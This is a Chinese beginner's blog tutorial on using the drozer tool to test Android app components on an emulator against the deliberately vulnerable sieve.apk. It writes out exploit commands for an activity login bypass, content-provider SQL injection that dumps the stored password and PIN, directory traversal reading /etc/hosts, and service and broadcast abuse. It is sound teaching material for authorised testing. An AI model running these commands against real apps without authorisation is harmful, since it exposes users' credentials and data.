这篇文章主要是对于app组件安全测试工具drozer的一个入门使用介绍,针对初入小白和记性很差的自己-0-
drozer是一款针对Android系统的安全测试工具,分成两个部分:
“console”:运行在本地计算机上,类似于控制台;
“agent”:是一个安装在终端上的代理app。
- 安装
目前网上的安装步骤很多也很详细,我这边就不多做赘述,只写一些注意点吧,避免踩坑或者找不到。
- 运行环境需要python2.7、jdk1.7
- PC端和移动端交互时需要adb命令,所以需要安装adb工具
注:adb下载和配置:
SDK Platform Tools 版本说明 | Android 开发者 | Android Developers
安装好后可以配置环境变量,这样可以更为方便的使用
直接将配置好的变量名配在Path中,然后检查是否安装和配置成功。
- 使用
2.1、这里我们用模拟器代替手机来进行app检测,所以将drozer的agent部分安装在模拟器中(类似于安装了个app)。
注:这里向模拟器中安装app可以有两个方法,一个是通过adb命令来安装: adb install 安装包(带路径);另外一个就是直接把要安装的app直接拖到模拟器界面中即可,这点是跟手机端安装有点区别的。
这里还需要一个测试用的apk包:sieve.apk
链接:
百度网盘 请输入提取码 ,提取码:gr12(这里是别人分享的,我自己也用的这个)
2.2、连接夜神模拟器
adb connect 127.0.0.1:62001(夜神模拟器默认端口为62001)
adb devices(查看链接的设备)
如此说明连接成功。
2.3、PC端运行drozer
drozer目录下运行cmd,然后进行转发并连接
adb forward tcp:31415 tcp:31415(就是将PC端31415收到的数据转发给终端的agent默认监听的31415端口)
drozer.bat console connect(连接终端agent)
注:1、可能部分人执行连接会报错,大概率可能性是没有把模拟器或者手机端的agent打开
2、终端agent打开后,还要注意转发端口是否已经开启
都准备好后,PC端执行命令,如下表示已经连接成功
- 实测
3.1、根据app名称得到app的包名
run aap.package.list -f sieve
3.2、查看应用的信息
run aap.package.info -a com.mwr.example.sieve
Application Label: app名称
Process Name: 运行该app的进程名称
Version: 版本号
Data Directory: 该app相关数据的存储路径
APK Path: app真正的package文件所在路径
UID: app关联的用户ID
GID:组ID
Shared Libraries:app使用的共享库
Shared User ID: 可以使用该app的共享用户的ID
Uses Permissions:权限列表
Defines Permissions:自定义权限
3.3、识别攻击面
run app.package.attacksurface com.mwr.example.sieve
根据攻击面检测展示可知四大组件分别有多少是对外暴露的,并且该app是可调试的
3.4、针对暴露位置进行攻击
准备攻击前,先打开sieve这个app,设置下密码和pin值,方便后续的测试。
3.4.1、测试activity的暴露点
Activity暴露容易造成界面绕过等风险。
显示暴露的activity的信息
run app.activity.info -a com.mwr.example.sieve
根据展示的信息,因为该app打开之后需要登陆才可以。但是发现上面展示的除了一个类似登陆的界面以外还有两个界面,并且没有设置权限,由此可能存在绕过登陆的风险。
生成intent中间件尝试拉起PWList和FileSelectActivity两个界面
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.FileSelectActivity
发现PWList界面是一个存放登陆密码的地方,这样就可以获取登陆密码了。
3.4.2测试provider的暴露点
Provider的暴露容易造成数据库泄露或者SQL注入等风险。
显示暴露的provider的信息
run app.provider.info -a com.mwr.example.sieve
尝试枚举存在的uri
run app.provider.finduri com.mwr.example.sieve
使用扫描枚举可以访问的uri
run scanner.provider.finduris -a com.mwr.example.sieve
根据结果发现可以访问的有三个,逐个尝试访问uri
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
经观察,发现泄露了一些数据。
进行sql注入检查:
扫描器扫描存在注入点的uri
run scanner.provider.injection -a com.mwr.example.sieve
对发现的注入点进行SQL注入尝试
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “’”
根据提示可能存在keys表,尝试查询其中数据
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection “* from keys;--”
得到了sieve的登陆界面的密码和设置的PIN码
检测目录遍历:
扫描器扫描存在目录遍历的uri
run scanner.provider.traversal -a com.mwr.example.sieve
检测到存在目录遍历,尝试进行遍历
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../etc/hosts
另外还可以直接下载可遍历的文件
默认是下载到drozer目录下
3.4.3测试service的暴露点
Service的暴露容易导致敏感信息泄露,并可能受到权限提升、拒绝服务等风险
获取app中service详情
run app.service.info -a com.mwr.example.sieve
根据结果发现,service命名表现得像是权限和加密的服务没有设置权限,存在漏洞
尝试与暴露的且没有权限的service做交互
拉起服务
run app.service.start --action com.mwr.example.sieve.AuthService --component com.mwr.example.sieve com.mwr.example.sieve.AuthService
尝试交互传参
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 1 2 3
可见当某些服务对外暴露且没有设置权限就会可能被外部轻易拉起,传入有风险的参数,获取敏感信息或提权,或者一直发送错误参数和请求导致拒绝服务。
3.4.4测试broadcast的暴露点
broadcast的暴露容易导致敏感信息泄露,并可能受到权限绕过、拒绝服务
获取broadcast receivers信息
run app.broadcast.info -a com.mwr.example.sieve
发现该app没有receivers信息,通过反编译该apk检查manifest文件发现确实没有配置
broadcast的风险点跟service类似,如果存在暴露也可以通过发送广播来获取响应
发送广播
run app.broadcast.send --component <package name> <component name> --extra <type> <key> <value>
嗅探广播的数据
run app.broadcast.sniff --action <action>
恶意发送不完整的intent或者空extras广播包导致拒绝服务
un app.broadcast.send --component <package name> <component name>
这边具体由于sieve没有广播组件,所以未展示出来命令执行效果。
结语:这是本人第一次开始总结一些东西,主要是也可以防止自己记性不太好,以后的文章都会尽量写的详细,希望都有用处吧~